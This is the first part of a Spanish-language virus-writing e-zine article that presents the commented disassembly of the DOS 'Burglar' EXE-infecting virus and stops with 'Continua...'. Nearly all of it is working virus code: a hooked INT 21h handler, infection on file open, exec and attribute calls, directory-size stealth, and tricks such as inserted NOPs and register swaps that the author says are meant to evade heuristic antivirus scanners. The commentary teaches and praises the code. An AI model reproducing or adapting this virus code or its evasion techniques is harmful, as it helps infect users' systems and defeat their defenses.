home *** CD-ROM | disk | FTP | other *** search
- *cN Virus Informáticos (I)
- *cG
- ;;---- COMENTARIO DEL VIRUS B U R G L A R
- -------------
-
- ;; Bien! Aquí tenemos el primer virus de la sección. Está plenamente comenta-
- ;; do, aunque hay por ahí alguna cosilla que se me ha resistido. Naturalmente,
- ;; parto de que sabéis ensamblador. Pero si no sabéis, seguid atentamente la
- ;; sección de Programación, donde lo aprenderéis fácilmente (eso esperamos),
- ;; y más adelante podrás entender claramente todo lo que se hace aquí. Sin
- ;; más, a observar, que nuestro trabajo nos ha costado (mentira, nos costó un
- ;; sólo día, pero así tenemos excusa para obligarte a que lo mires :-).
- ;; Está pasado directamente con el DEBUG del DOS, y hemos conservado las direc-
- ;; ciones de segmento porque hay veces que las usa y así es más fácil de seguir
- ;; el código.
-
- ;; P.D.: Si aún sabiendo ensamblador no entiendes algún comentario o procedi-
- ;; miento, o bien quieres aclararnos alguna duda o error que hayamos tenido,
- ;; sólo tienes que escribir o enviarnos un e-mail a las direcciones que encon-
- ;; trarás en la sección de suscripción. ¡Hasta pronto!
-
- ;; FICHA TÉCNICA DEL VIRUS:
- ;;-------------------------
-
- ;; - Infector de EXEs en ejecución, apertura y al cambiarle los atributos.
- ;; - Mínimas propiedades stealth (muestra el tamaño original al hacer DIR)
- ;; - Efecto: Mensaje en pantalla si una infección se produce en el minuto 11
- ;; de cualquier hora.
- ;; - Stealth de infección: Parchea la interrupción 24h y cambia atributos
- ;; - Técnicas anti-heurísticas
- ;; - Y algo más por ahí :-)
-
-
- 0FF1:0000 E95A03 JMP 035D ; Salto al verdadero inicio del
- virus.
- ; Mensaje:
- 0FF1:0003 90 NOP ; 'AT THE GRAVE OF GRANDMA...'
- 0FF1:0004 41 INC CX
- 0FF1:0005 54 PUSH SP
- 0FF1:0006 205448 AND [SI+48],DL
- 0FF1:0009 45 INC BP
- 0FF1:000A 204752 AND [BX+52],AL
- 0FF1:000D 41 INC CX
- 0FF1:000E 56 PUSH SI
- 0FF1:000F 45 INC BP
- 0FF1:0010 204F46 AND [BX+46],CL
- 0FF1:0013 204752 AND [BX+52],AL
- 0FF1:0016 41 INC CX
- 0FF1:0017 4E DEC SI
- 0FF1:0018 44 INC SP
- 0FF1:0019 4D DEC BP
- 0FF1:001A 41 INC CX
- 0FF1:001B 2E CS:
- 0FF1:001C 2E CS:
- 0FF1:001D 2E CS:
-
- ; Desde :006F y :0074
- ; Aquí en caso de que sean las fun-
- ; ciones "buscar 1ª entrada de direc-
- ; torio" y "buscar siguiente"
- 0FF1:001E 2E CS: ; Efectúa la interrupción 21h para
- 0FF1:001F FF1EA700 CALL FAR [00A7] ; que le devuelva los valores que
- ; ahora usará.
- 0FF1:0023 9C PUSHF ; Guarda las banderas en el Stack
- 0FF1:0024 3CFF CMP AL,FF ; Comprueba si hay error (no ha en-
- ; contrado archivos).
- 0FF1:0026 742C JZ 0054 ; Si hay error, salta y acaba.
- 0FF1:0028 90 NOP
- 0FF1:0029 50 PUSH AX
- 0FF1:002A 56 PUSH SI
- 0FF1:002B 1E PUSH DS ; Guarda AX, SI y DS en el stack
- 0FF1:002C 2E CS: ; En el par DS:SI, el DTA
- 0FF1:002D 8B362F05 MOV SI,[052F]
- 0FF1:0031 2E CS:
- 0FF1:0032 8E1E3105 MOV DS,[0531]
- 0FF1:0036 803CFF CMP BYTE PTR [SI],FF ; Mira si [SI] es 0FFh y por
- ; tanto un FCB ampliado
- 0FF1:0039 7503 JNZ 003E ; Si no es, evita hacer lo si-
- ; guiente
- 0FF1:003B 83C607 ADD SI,+07 ; Suma 7 a SI para adaptarlo a
- ; un FCB ampliado
- 0FF1:003E 8A4417 MOV AL,[SI+17] ; En AL, el 2º byte de la hora
- ; en formato empaquetado
- 0FF1:0041 241D AND AL,1D ; Mira si los segundos del archi-
- 0FF1:0043 3C1D CMP AL,1D ; vo están a 56
- 0FF1:0045 750A JNZ 0051 ; Si no lo están, acaba
- 0FF1:0047 90 NOP
- 0FF1:0048 816C1D7E04 SUB WORD PTR [SI+1D],047E ; Le resta el tamaño del
- 0FF1:004D 835C1F00 SBB WORD PTR [SI+1F],+00 ; virus al archivo, pues-
- ; to que está infectado.
- 0FF1:0051 1F POP DS ; Saca del stack los registros
- 0FF1:0052 5E POP SI ; guardados
- 0FF1:0053 58 POP AX
- 0FF1:0054 9D POPF
- 0FF1:0055 CA0200 RETF 0002 ; Vuelve
-
-
- ;;;;;;;;;;;; NUEVA INTERRUPCION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
-
- 0FF1:0058 2E CS:
- 0FF1:0059 C606330500 MOV BYTE PTR [0533],00 ; Pone un byte en :0533 a
- ; 0 que le indica ??. Es-
- ; to sirve también para
- ; evitar flags, en concre-
- ; to el flag 'M' del Thun-
- ; derbyte Anti-virus
- 0FF1:005E 9C PUSHF ; Guarda los flags
- 0FF1:005F 3D78F0 CMP AX,F078 ; Comprueba si la función
- 0FF1:0062 90 NOP ; es un installation-check
- ; del propio virus.
- 0FF1:0063 7506 JNZ 006B ; Si no lo es, continúa.
-
- 0FF1:0065 33C0 XOR AX,AX ; Si es una comprobación
- 0FF1:0067 9D POPF ; por parte del virus en
- 0FF1:0068 CF IRET ; archivo de saber si está
- ; en memoria, pone AX a 0
- ; y retorna de la interr.
-
- 0FF1:0069 90 NOP ; Más NOPs anti-heurísticos
- 0FF1:006A 90 NOP
- 0FF1:006B 90 NOP
- 0FF1:006C 80FC11 CMP AH,11 ; Comprueba si son las funciones
- 0FF1:006F 74AD JZ 001E ; "busca 1ª entrada de directorio" y
- 0FF1:0071 80FC12 CMP AH,12 ; "busca siguiente entrada". En ese
- 0FF1:0074 74A8 JZ 001E ; caso salta a :001E.
-
- 0FF1:0076 80FC3D CMP AH,3D ; Si es la función "abrir archivo
- 0FF1:0079 7442 JZ 00BD ; (handle)", salta a :00BD.
-
- 0FF1:007B 80FC43 CMP AH,43 ; Si es "obtener atributos", salta a
- 0FF1:007E 743D JZ 00BD ; :00BD también.
-
- 0FF1:0080 80FC13 CMP AH,13 ; Si es "Borrar archivo (FCBs)"
- 0FF1:0083 7432 JZ 00B7 ; ó
- 0FF1:0085 80FC36 CMP AH,36 ; "Obtener capacidad restante de dis-
- 0FF1:0088 742D JZ 00B7 ; co duro" salta también (esto son
- ; anti-heurísticos, y evitan que el
- ; virus detecte sólamente las funcio-
- ; nes de "abrir handle" y la función
- ; EXEC, cosa que detectan muchos an-
- ; tivirus heurísticos).
- 0FF1:008A 80FC4B CMP AH,4B ; Si es la función EXEC salta.
- 0FF1:008D 90 NOP ; NOPs que evitan que la comprobación
- 0FF1:008E 90 NOP ; esté directamente unida al salto.
- 0FF1:008F 742C JZ 00BD ; Salta a :00BD
-
- 0FF1:0091 80FC6C CMP AH,6C ; Comprueba si es la función OPEN am-
- 0FF1:0094 7427 JZ 00BD ; pliada, y en ese caso salta
- 0FF1:0096 80FC1A CMP AH,1A ; Si no es "Fijar dirección del DTA",
- 0FF1:0099 750A JNZ 00A5 ; salta a la antigua int 21h
- 0FF1:009B 2E CS: ; Guarda el puntero al nuevo DTA
- 0FF1:009C 89162F05 MOV [052F],DX ; en la zona de datos del virus
- 0FF1:00A0 2E CS:
- 0FF1:00A1 8C1E3105 MOV [0531],DS
- 0FF1:00A5 9D POPF ; Recupera las banderas del Stack
- 0FF1:00A6 EA8310EBE3 JMP E3EB:1083 ; Puntero a la interrupción 21h
-
- 0FF1:00AB 90 NOP ; NOPs basura
- 0FF1:00AC 90 NOP
-
- ;; Rutina de ejecución de la interrupción 21h
-
- 0FF1:00AD 86E0 XCHG AH,AL ; Intercambia AH y AL (método an-
- 0FF1:00AF 90 NOP ; ti-heurístico)
- 0FF1:00B0 9C PUSHF
- 0FF1:00B1 2E CS:
- 0FF1:00B2 FF1EA700 CALL FAR [00A7] ; Interrupción 21h
- 0FF1:00B6 C3 RET ; Retorna
-
-
- ; Desde :0083 y :0088
- 0FF1:00B7 2E CS: ; Pone en :047E el valor 01
- 0FF1:00B8 C6067E0401 MOV BYTE PTR [047E],01
-
- ; Desde :0079, :007E, :008F y :0094
- 0FF1:00BD 90 NOP
- 0FF1:00BE 50 PUSH AX
- 0FF1:00BF 53 PUSH BX
- 0FF1:00C0 51 PUSH CX
- 0FF1:00C1 52 PUSH DX
- 0FF1:00C2 1E PUSH DS
- 0FF1:00C3 06 PUSH ES
- 0FF1:00C4 56 PUSH SI
- 0FF1:00C5 57 PUSH DI ; Guarda todos los registros en el Stack
- 0FF1:00C6 80FC6C CMP AH,6C ; Mira si es la función OPEN ampliada
- 0FF1:00C9 7502 JNZ 00CD ; Si no es, salta a :00CD para evitar
- ; lo siguiente.
- 0FF1:00CB 8BD6 MOV DX,SI ; Si es la función OPEN ampliada, pone
- ; SI del puntero DS:SI a DX para que el
- ; puntero sea DS:DX
-
- 0FF1:00CD 2E CS: ; Comprueba si [047E] tiene el valor 01
- 0FF1:00CE 803E7E0401 CMP BYTE PTR [047E],01 ; (funciones de "borrar ar-
- ; chivo (FCB)" y "obtener
- ; capacidad restante de
- ; disco duro")
- 0FF1:00D3 7406 JZ 00DB ; Si es, evita lo siguiente.
-
- 0FF1:00D5 E87900 CALL 0151 ; Macrofunción para comprobar si el ar-
- ; chivo está infectado y, en caso con-
- ; trario, infectarlo, además de hacer
- ; el efecto del virus (un mensaje en
- ; pantalla).
- 0FF1:00D8 EB5C JMP 0136 ; Salta y acaba
- 0FF1:00DA 90 NOP
- 0FF1:00DB 0E PUSH CS ; CS = DS
- 0FF1:00DC 1F POP DS
- 0FF1:00DD C606340500 MOV BYTE PTR [0534],00 ; Pone [0534] a 0
- 0FF1:00E2 B02F MOV AL,2F ; Obtiene el DTA
- 0FF1:00E4 E8C6FF CALL 00AD
- 0FF1:00E7 06 PUSH ES ; Guarda el puntero al DTA
- 0FF1:00E8 53 PUSH BX
- 0FF1:00E9 B01A MOV AL,1A ; Fija la dirección del DTA a la
- 0FF1:00EB BAE504 MOV DX,04E5 ; dirección :04E5 (dentro del vi-
- 0FF1:00EE E8BCFF CALL 00AD ; rus)
- 0FF1:00F1 B04E MOV AL,4E ; Busca la primera entrada de di-
- 0FF1:00F3 B92700 MOV CX,0027 ; rectorio (con cualquier nombre,
- 0FF1:00F6 BA2704 MOV DX,0427 ; ya que usa *.* para ello).
- 0FF1:00F9 E8B1FF CALL 00AD
- 0FF1:00FC 7230 JB 012E ; Si hay error, acaba
- 0FF1:00FE A0FB04 MOV AL,[04FB] ; Obtiene el byte menor de la ho-
- ; ra del archivo en formato empa-
- ; quetado
- 0FF1:0101 241D AND AL,1D ; Mira si los segundos son 56-58
- 0FF1:0103 3C1D CMP AL,1D
- 0FF1:0105 7423 JZ 012A ; Si son, sigue con el siguiente
-
- 0FF1:0107 833E010500 CMP WORD PTR [0501],+00 ; Mira si el archivo es
- ; menor de 65536 bytes
- 0FF1:010C 7508 JNZ 0116 ; Si no es, salta lo que
- ; viene
- 0FF1:010E 813EFF04E803 CMP WORD PTR [04FF],03E8 ; Mira si el tamaño del
- ; archivo es menor de
- ; 1000 bytes
- 0FF1:0114 7214 JB 012A ; Si es menor, busca otro archivo
- 0FF1:0116 C70625050305 MOV WORD PTR [0525],0503 ; En [0525] (donde empie-
- ; za la cadena del nom-
- ; bre del archivo) se po-
- ; ne la dirección del
- ; nombre del archivo en
- ; el DTA
- 0FF1:011C BA0305 MOV DX,0503 ; En el puntero DS:DX se
- ; encuentra ahora la ca-
- ; dena del nombre del ar-
- ; chivo.
- 0FF1:011F E82F00 CALL 0151 ; Lo infecta (si puede)
- 0FF1:0122 2E CS:
- 0FF1:0123 803E340503 CMP BYTE PTR [0534],03 ; Mira si el byte en :0534
- ; es 03, y por tanto el
- ; archivo ha podido ser
- ; infectado
- 0FF1:0128 7404 JZ 012E ; Si es así, ya no infec-
- ; ta más.
- 0FF1:012A B04F MOV AL,4F ; Pone en AL la función de "buscar
- siguiente entrada de directorio"
- 0FF1:012C EBCB JMP 00F9 ; Vuelve a repetir el proceso
- 0FF1:012E 5A POP DX ; Saca la antigua dirección del
- 0FF1:012F 1F POP DS ; DTA
- 0FF1:0130 9C PUSHF
- 0FF1:0131 B41A MOV AH,1A ; La restaura
- 0FF1:0133 CD21 INT 21
- 0FF1:0135 9D POPF
-
- 0FF1:0136 5F POP DI ; Recupera registros del stack
- 0FF1:0137 5E POP SI
- 0FF1:0138 07 POP ES
- 0FF1:0139 1F POP DS
- 0FF1:013A 5A POP DX
- 0FF1:013B 59 POP CX
- 0FF1:013C 5B POP BX
- 0FF1:013D 58 POP AX
- 0FF1:013E 2E CS:
- 0FF1:013F C6067E0400 MOV BYTE PTR [047E],00 ; Pone [047E] a 0
- 0FF1:0144 2E CS:
- 0FF1:0145 803E330501 CMP BYTE PTR [0533],01 ; Comprueba que el byte
- ; en [0533] sea 1
- 0FF1:014A 7502 JNZ 014E ; Si no es, salta
- 0FF1:014C 33DB XOR BX,BX ; Si es 1, pone BX a 0
- 0FF1:014E E954FF JMP 00A5 ; Salta a la int 21h verdadera
-
- ; Desde :00D5 y :011F
- 0FF1:0151 8BF2 MOV SI,DX ; En SI, DX
- 0FF1:0153 2E CS:
- 0FF1:0154 89162505 MOV [0525],DX ; En [0525] guarda DX
- 0FF1:0158 90 NOP
- 0FF1:0159 AC LODSB ; Carga en AL el byte de la cadena
- ; del nombre del archivo que va a
- ; ser abierto.
- 0FF1:015A 0AC0 OR AL,AL ; Mira si es 00 y por tanto es fin
- ; de cadena
- 0FF1:015C 740F JZ 016D ; Salta a :016D
- 0FF1:015E 3C5C CMP AL,5C ; Mira si es '\'
- 0FF1:0160 7404 JZ 0166 ; Salta, si es, :0166
- 0FF1:0162 3C3A CMP AL,3A ; Mira si es ':'
- 0FF1:0164 75F3 JNZ 0159 ; Salta a :0159 y vuelve a hacer
- ; el proceso.
- ; Desde :0160
- 0FF1:0166 2E CS: ; Pone en [0525] la nueva dirección
- 0FF1:0167 89362505 MOV [0525],SI ; de la cadena.
- 0FF1:016B EBEC JMP 0159 ; vuelve a hacer el proceso.
- ; Desde :015C. Aquí llega conteniendo
- ; en SI el byte final de la cadena (el
- ; 00).
- 0FF1:016D 80FC4B CMP AH,4B ; Mira si es la función de ejecución.
- 0FF1:0170 90 NOP ; NOP anti-heurístico.
- 0FF1:0171 740F JZ 0182 ; Si es, salta a :0182
- 0FF1:0173 817CFB2E45 CMP WORD PTR [SI-05],452E ; Mira si en SI-05 está
- ; la secuencia '.E'
- 0FF1:0178 7507 JNZ 0181 ; Si no es, retorna.
- 0FF1:017A 817CFD5845 CMP WORD PTR [SI-03],4558 ; Mira si es SI-03 está
- ; el resto de la exten-
- ; sión: 'XE'
- 0FF1:017F 7401 JZ 0182 ; Si es '.EXE', salta y no retorna.
- 0FF1:0181 C3 RET
- *cM
- Continua...*cL
- Líyak el Oscuro.
-